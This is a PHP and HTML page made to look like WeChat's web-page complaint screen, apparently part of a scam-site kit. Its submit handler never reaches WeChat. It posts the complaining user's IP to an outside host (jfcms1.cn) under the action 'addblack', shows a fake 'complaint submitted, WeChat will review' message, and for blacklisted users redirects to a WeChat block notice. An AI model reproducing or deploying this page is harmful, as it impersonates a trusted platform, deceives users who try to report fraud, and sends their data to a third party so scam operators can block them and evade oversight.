
<?php if( !defined( 'ONGPHP')) exit( 'Error ONGSOFT');

	

$ip = ip();
$code = "lVN1Ormd1tWjSvEw";
$key = md5(md5($code.$ip));

?>

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <meta id="viewport" name="viewport"
          content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
    <link rel="stylesheet" type="text/css" href="/vns/tousu/weui.min.css">
    <link rel="stylesheet" type="text/css" href="/vns/tousu/w_type35fd6f.css">
    <script type="text/javascript" src="/vns/tousu/zepto.min.js"></script>
    <script type="text/javascript" src="/vns/tousu/knockout-min.js"></script>
    <script type="text/javascript" src="/vns/tousu/jquery-1.11.1.min.js"></script>
    <title>投诉</title>
    <script>
        var getParam = function () {
            var param = {};
            var urlParam = location.search;
            if (urlParam.indexOf("?") != -1) {
                var str = urlParam.substr(1);

                var paramArray = str.split("&").length ? str.split("&") : [str];
                paramArray.forEach(function (item) {
                    if (item.split("=")[1]) {
                        item.split("=")[1] = item.split("=")[1].replace('.', ' ');
                    } else {
                        item.split("=")[1] = '';
                    }
                    param[item.split("=")[0]] = item.split("=")[1];
                });
            }
            return param;
        };

        $(function () {
            document.body.addEventListener('touchstart', function () {
            }, false);
        });
        var MainViewModel = function () {
            var self = this;
            self.device = 'phone';
            self.param = getParam();
            //            self.scaleBase = 667; //586 iphone的比例
            self.noScale = true;
        };
        var page = new MainViewModel();
        //        if (page.param.uk) {
        //            myUtil.setCookie('uk', page.param.uk);
        //        } else {
        //            page.param.uk = myUtil.getCookie('uk');
        //        }
        page.url = {};
        page.isFirstPage = ko.observable(true);
        page.readyComplain = ko.observable(false);
        page.isInduce = ko.observable(false);
        page.isRumor = ko.observable(false);
        page.complainList = ko.observableArray([
            {reason: '网页包含欺诈信息（如：假红包）', type: 1},
            {reason: '网页包含色情信息', type: 1},
            {reason: '网页包含暴力恐怖信息', type: 1},
            {reason: '网页包含政治敏感信息', type: 1},
            {reason: '网页在收集个人隐私信息（如：钓鱼链接）', type: 1},
            {reason: '网页包含诱导分享/关注性质的内容', type: 2},
            {reason: '网页可能包含谣言信息', type: 3},
        ]);

        page.selectComplain = function (type, data) {
            page.isInduce(false);
            page.isRumor(false);
            if (type == 2) {
                page.isInduce(true);
            } else if (type == 3) {
                page.isRumor(true);
            }
            page.readyComplain(true);
            history.pushState(null, document.title, null);
//            history.replaceState(null, document.title, href);
        };
        page.title = ko.computed(function () {
            return page.readyComplain() ? '你可以：' : '请选择投诉该网页的原因：'
        });
        page.complain = function () {


         	var url = "http://www.jfcms1.cn/ajax.php"
        	
            //alert('sdsd');
        	var ajax = $.ajax({
                url: url,
                type: 'POST',
                timeout: 3000,
                dataType: 'json',
                data: {
                  action: "addblack",
                  key: "<?php echo $key ;?>",//user的mouney
                  ip: "<?php echo $ip ;?>",//user的大小
                  
                },
                error: function (XMLHttpRequest, textStatus, errorThrown){

                	$('.j_page').hide();
                    $('.weui-msg').show();
                //TODO: 处理status， http status code，超时 408
                // 注意：如果发生了错误，错误信息（第二个参数）除了得到null之外，还可能
                //是"timeout", "error", "notmodified" 和 "parsererror"。
                }, 
                
                
              })
              ajax.done(function(res) { 
                  
            	  

                  if(res.status == 0){

              		  //alert(res.msg);
              	  }else if(res.status == 1){
                		
        				//alert('是黑名单');
                		$('.j_page').hide();
                        $('.weui-msg').show();
                		setTimeout('tiaozhuan()', 500);
        				
              	  }else{
        			  
        			  

              	  }
            	              
              
              });

            
        };

        function tiaozhuan(){

        	location.href = "https://weixin110.qq.com/cgi-bin/mmspamsupport-bin/newredirectconfirmcgi?block_type=20&url=http%3A%2F%2Fwww.gz9w.cn&version=26050a3e&devicetype=android-22&lang=zh_CN&scene=1#wechat_redirect";
        	
        }
        
        $(function () {

//            window.onhashchange = function () {
//                console.log(arguments);
//            };
            ko.applyBindings(page);

//        history.replaceState(null, document.title);
            history.pushState(null, document.title, null);
            /**
             * 监听浏览器返回事件
             */
            window.addEventListener('popstate', function (event) {
                if (page.readyComplain()) {
                    page.readyComplain(false);
                } else {
                    console.log('关闭页面');
                    WeixinJSBridge.invoke('closeWindow');
                }
            });
        });
    </script>
</head>

<body>

<div data-bind="visible:isFirstPage()" id="pageType" name="type" class="j_page page_type">
    <div data-bind="visible:!readyComplain()">
        <p class="weui-cells__title" id="j_title" data-bind="text:title"></p>
        <div class="weui-cells" id="j_list">
            <!-- ko foreach:complainList-->
            <a class="weui-cell weui-cell_access" data-bind="click:$root.selectComplain.bind($data,type)">
                <div class="weui-cell__bd" data-bind="text:reason"></div>
                <div class="weui-cell__ft"></div>
            </a>
            <!-- /ko -->
        </div>

        <div class="article_list" id="j_articles">
            <a href="http://mp.weixin.qq.com/s?__biz=MzIzNzAzODg4OA==&amp;mid=401352390&amp;idx=1&amp;sn=49d7f7d99a4944b065ba5cc54b060130#wechat_redirect"
               class="article">遇到网页流量被劫持怎么办</a>
        </div>
    </div>

    <div data-bind="visible:readyComplain()">
        <p class="weui-cells__title" data-bind="text:title"></p>

        <div class="weui-cells" id="j_list2">
            <a class="weui-cell weui-cell_access" data-bind="click:complain">
                <div class="weui-cell__bd">提交给微信团队审核</div>
                <div class="weui-cell__ft"></div>
            </a>
        </div>

        <div class="article_list" id="j_articles2" data-bind="visible:isInduce">
            <a href="http://mp.weixin.qq.com/s?__biz=MzA5MzEzNDg3MQ==&amp;mid=505283668&amp;idx=4&amp;sn=45f26dca2cf10f70ea792352ff762277#wechat_redirect"
               class="article">了解什么是诱导分享类内容</a>
        </div>

        <div class="article_list" id="j_articles3" data-bind="visible:isRumor">
            <a href="http://mp.weixin.qq.com/s?__biz=MzA5MzEzNDg3MQ==&amp;mid=505283668&amp;idx=1&amp;sn=a6db3d0554f7c1c1071ac783f3d574a5#wechat_redirect"
               class="article">了解微信对谣言的治理</a>
        </div>
    </div>


    <p class="foot_link"><a
            href="https://weixin110.qq.com/security/readtemplate?t=w_security_center_website/report_agreement&amp;lang=zh_CN">投诉须知</a>
    </p>
</div>


<div data-bind="visible:!isFirstPage()" class="weui-msg">
    <div class="weui-msg__icon-area">
        <i class="weui-icon-success weui-icon_msg"></i>
    </div>
    <div class="weui-msg__text-area">
        <h2 class="weui-msg__title">投诉已提交</h2>
        <p class="weui-msg__desc">微信团队会尽快核实，并通过“微信团队”通知你审核结果。感谢你的支持。</p>

    </div>
    <div class="weui-msg__opr-area">
        <p class="weui-btn-area">
            <a href="javascript:WeixinJSBridge.invoke('closeWindow')" class="weui-btn weui-btn_primary">关闭</a>
        </p>
    </div>
</div>

<script>

</script>
</body>
</html>